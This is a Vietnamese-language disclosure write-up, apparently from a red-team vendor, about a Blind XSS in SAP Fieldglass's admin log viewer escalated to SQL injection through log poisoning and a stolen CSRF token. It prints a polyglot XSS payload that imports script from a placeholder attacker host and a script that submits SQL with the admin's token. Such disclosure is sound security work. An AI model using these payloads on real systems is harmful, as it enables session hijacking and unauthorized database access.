Tóm tắt
Lỗ hổng Blind XSS (Blind Cross-Site Scripting) thường bị bỏ qua, nhưng trong trường hợp cụ thể này, nó đã bị khai thác và leo thang thành một lỗ hổng SQL Injection thông qua một cuộc tấn công log poisioning. Mặc dù không phải lúc nào Blind XSS cũng dẫn đến hậu quả như vậy, phát hiện này cho thấy rủi ro gia tăng khi giao diện quản trị không được bảo mật đúng cách, đặc biệt là khi dữ liệu log không được kiểm soát chặt chẽ.
Việc phát hiện lỗ hổng Blind XSS, đặc biệt là những lỗ hổng có thời gian thực thi chậm, có thể rất khó khăn. Các giải pháp như ULTRA RED được thiết kế để giám sát và phát hiện những tình huống này, cung cấp một cách tiếp cận chủ động để bảo vệ hệ thống backend.
Tất cả các lỗ hổng đã được báo cáo cho nhóm bảo mật của SAP và đã được SAP khắc phục, theo xác nhận trên trang web của họ. Chúng tôi cảm ơn sự hợp tác của họ. Theo SAP, không có dữ liệu khách hàng nào bị xâm phạm.
Bài viết này minh họa cách Blind XSS có thể dẫn đến các lỗ hổng nghiêm trọng và chia sẻ những hiểu biết giúp cải thiện bảo mật ứng dụng.
Giới thiệu
Blind Cross-Site Scripting (Blind XSS) là một lỗ hổng bảo mật đặc biệt và thường bị hiểu sai, vì tác động của nó thường bị trì hoãn và phụ thuộc vào tương tác của người dùng có đặc quyền.
Đánh giá này được thực hiện trong vai trò của Head of Red Team tại ULTRA RED khi sử dụng hệ thống backend của SAP Fieldglass, qua đó phát hiện một trang quản trị xử lý log mà không được kiểm soát đầu vào an toàn.
Blind XSS là gì?
Blind XSS xảy ra khi các đoạn mã độc hại được lưu trữ trong hệ thống backend (ví dụ: cơ sở dữ liệu hoặc log) và được thực thi sau đó trong một ngữ cảnh khác. Không giống như XSS truyền thống, kẻ tấn công không thể thấy kết quả ngay lập tức mà phải dựa vào nạn nhân (thường là người dùng backend) để kích hoạt payload bằng cách tương tác với dữ liệu đã bị nhiễm mã độc vào một thời điểm không xác định trong tương lai.
Tại sao Blind XSS nguy hiểm?
Mức độ ảnh hưởng của Blind XSS phụ thuộc vào vị trí và cách thức payload được thực thi. Một số hậu quả có thể xảy ra bao gồm:
- Đầu độc log (Log Poisoning): Kẻ tấn công chèn payload vào log, và nó sẽ được thực thi khi bất kỳ ai có quyền truy cập hệ thống xem hoặc xử lý log, chẳng hạn như bảng quản trị, công cụ giám sát hoặc giao diện debug.
- Leo thang đặc quyền (Privilege Escalation): Nếu mã độc chạy trong môi trường có đặc quyền cao (ví dụ: bảng điều khiển quản trị, công cụ nội bộ), nó có thể lộ thông tin nhạy cảm hoặc cho phép kẻ tấn công thực hiện các hành động trái phép.
- Thực thi ngoài ý muốn (Unintended Execution): Payload Blind XSS có thể được kích hoạt trong các hệ thống không mong muốn (ví dụ: cảnh báo tự động, hệ thống email, hoặc tích hợp bên thứ ba), làm cho tác động của nó trở nên khó đoán và có thể lan rộng.
- Tấn công chuỗi (Pivoting): Kẻ tấn công có thể lợi dụng Blind XSS để đánh cắp session token, thông tin đăng nhập hoặc dữ liệu nhạy cảm, từ đó di chuyển ngang qua hệ thống hoặc thâm nhập sâu hơn vào hạ tầng.
Tính chất khó lường của Blind XSS khiến nó đặc biệt nguy hiểm, vì kẻ tấn công thường không biết chính xác nơi payload sẽ được thực thi—nhưng khi điều đó xảy ra, hậu quả có thể rất nghiêm trọng.
Mặc dù Blind XSS rất khó phát hiện, các công cụ hiện đại như ULTRA RED giúp đơn giản hóa việc xác định lỗ hổng bằng cách giám sát các kịch bản thực thi bị trì hoãn, ngay cả trong các giao diện backend ít được chú ý, chẳng hạn như bảng điều khiển quản trị.
Trong trường hợp này, lỗ hổng đã cho thấy một vấn đề nghiêm trọng hơn: một trang quản trị không được kiểm soát đầu vào an toàn, cho phép thực thi truy vấn SQL trên cơ sở dữ liệu của Fieldglass.
Phát hiện lỗ hổng
Bối cảnh phát hiện
Trong quá trình kiểm tra cơ sở hạ tầng của khách hàng, một payload Blind XSS đã được chèn vào nhiều endpoint có kết nối với trang web được kiểm tra.
Khi thực hiện quét bảo mật, công cụ của chúng tôi tự động chèn các payload để phát hiện các lỗ hổng Blind XSS có thể tồn tại.
Payload được sử dụng
Payload dưới đây được thiết kế để nhập và thực thi một đoạn mã độc bằng cách phá vỡ cú pháp của trang web:
“><svg/onload=import(‘//<attacker-host’)>’>'”;import(‘<attacker-host>’);//;’><img/src/onerror=import(‘<attacker-host>’)>
Payload này đã được lưu lại trong hệ thống và được kích hoạt khi quản trị viên truy cập một tệp nội bộ có tên redacted.do – một bảng điều khiển hiển thị log và hỗ trợ thực thi truy vấn SQL để xem thông tin log.
Khi payload được thực thi, nó đã gửi toàn bộ DOM của trang admin đến máy chủ do kẻ tấn công kiểm soát, làm lộ dữ liệu nhạy cảm.
Kết quả phát hiện
- Đầu độc log dẫn đến XSS:
- Bảng điều khiển admin lấy và hiển thị dữ liệu log mà không kiểm tra hoặc lọc đầu vào.
- Mỗi lần quản trị viên tương tác với log, payload đã được chèn sẽ được thực thi.
- Cơ hội khai thác SQL Injection:
- Bảng điều khiển admin cho phép thực thi truy vấn SQL trực tiếp.
- Kẻ tấn công có thể chèn payload SQL vào log, khiến quản trị viên vô tình thực thi chúng mà không nhận ra.
Leo thang thành SQL Injection
Trường hợp cụ thể
Trong kịch bản này, bảng điều khiển quản trị không được kiểm soát đầu vào đã tạo ra cơ hội đặc biệt để leo thang lỗ hổng XSS thành SQL Injection.
Bằng cách phân tích DOM được gửi đến máy chủ của kẻ tấn công, chúng tôi đã xác định được vị trí của CSRF token trong cấu trúc DOM. Thông tin này cho phép tạo ra một đoạn mã độc có thể tự động lấy CSRF token và thực thi truy vấn SQL trái phép khi quản trị viên hoặc người dùng có đặc quyền truy cập trang.
Payload khai thác
Dưới đây là một đoạn mã độc được thiết kế để khai thác lỗ hổng:
<script>
function submitFormWithCSRF() {
if (typeof CSRFTOKEN !== ‘undefined’) {
var form = document.createElement(‘form’);
form.action = ‘/redacted.do’;
form.method = ‘POST’;
form.innerHTML = `
<input type=”hidden” name=”dbName” value=”log”>
<input type=”hidden” name=”whereClause” value=”SLEEP(5) AND other_conditions”>
<input type=”hidden” name=”CSRFTOKEN” value=”${CSRFTOKEN}”>
`;
document.body.appendChild(form);
form.submit();
} else {
setTimeout(submitFormWithCSRF, 1000);
}
}
submitFormWithCSRF();
</script>
Tác động của cuộc tấn công
- Tự động lấy CSRF token: Token CSRF của quản trị viên có thể được trích xuất trực tiếp từ DOM.
- Thực thi truy vấn SQL tùy ý: Kẻ tấn công có thể thực hiện truy vấn SQL trái phép, từ đó trích xuất hoặc chỉnh sửa dữ liệu nhạy cảm trong nhiều cơ sở dữ liệu khác nhau.
Tác động tiềm tàng đến hạ tầng SAP Fieldglass
-
Rò rỉ dữ liệu:
- Dữ liệu nhạy cảm có thể bị truy cập thông qua trang quản trị.
-
Thực thi truy vấn SQL trái phép khi quản trị viên truy cập:
- Kẻ tấn công có thể thực thi lệnh SQL trên dữ liệu khách hàng mà không cần xác thực.
Mặc dù Blind XSS rất khó phát hiện trong các tình huống như thế này, nhưng các công cụ giám sát payload thực thi trễ có thể giảm đáng kể rủi ro, ngay cả trong các hệ thống kết nối phức tạp như SAP Fieldglass.
Bài học rút ra
- Làm sạch đầu vào và đầu ra
- Trường hợp này nhấn mạnh tầm quan trọng của việc kiểm tra và làm sạch tất cả dữ liệu đầu vào từ người dùng cũng như mã hóa dữ liệu đầu ra, ngay cả trong các hệ thống dành cho quản trị viên.
- Các thành phần như log, bảng điều khiển và hệ thống backend thường bị bỏ qua trong bảo mật.
- Hạn chế quyền thực thi truy vấn
- Bảng điều khiển quản trị nên giới hạn khả năng thực thi truy vấn SQL, chỉ cho phép chạy các truy vấn được định nghĩa trước và an toàn.
- Tránh cấp quyền cho người dùng tự xây dựng truy vấn SQL tùy ý.
- Tăng cường bảo vệ CSRF
- CSRF token không nên lưu trữ trong DOM.
- Máy chủ phải kiểm tra token để ngăn chặn các hành động trái phép.
- Giám sát và kiểm tra hệ thống nội bộ
- Kiểm tra bảo mật cần mở rộng đến các hệ thống nội bộ như bảng điều khiển quản trị và trình xem log, vì đây là nơi xử lý dữ liệu nhạy cảm nhưng thường có cơ chế bảo vệ không đầy đủ.
- Cân nhắc triển khai các công cụ kiểm thử thâm nhập tự động liên tục, chẳng hạn như các giải pháp từ ULTRA RED.
Khía cạnh đạo đức và nhận định
Lỗ hổng này được phát hiện một cách tình cờ trong quá trình kiểm thử có xác thực đối với cơ sở hạ tầng của khách hàng và đã được báo cáo một cách có trách nhiệm. Mục tiêu không phải là khai thác trái phép mà là xác định và giảm thiểu rủi ro, nhằm xây dựng các hệ thống an toàn và vững chắc hơn.
Kết luận
Lỗ hổng Blind XSS trong SAP Fieldglass là một bài học cảnh báo về nguy cơ của việc không kiểm soát đầu vào, ngay cả trong các hệ thống backend. Dù Blind XSS thường chỉ bị giới hạn ở việc chèn mã độc, trường hợp này cho thấy nó có thể leo thang thành SQL Injection khi kết hợp với các chức năng quản trị không an toàn.
Bằng cách áp dụng các giải pháp CTEM (Continuous Threat Exposure Management) chủ động, như các công cụ từ ULTRA RED, các tổ chức có thể phát hiện và giảm thiểu những lỗ hổng phức tạp như thế này trước khi chúng trở thành mối đe dọa nghiêm trọng.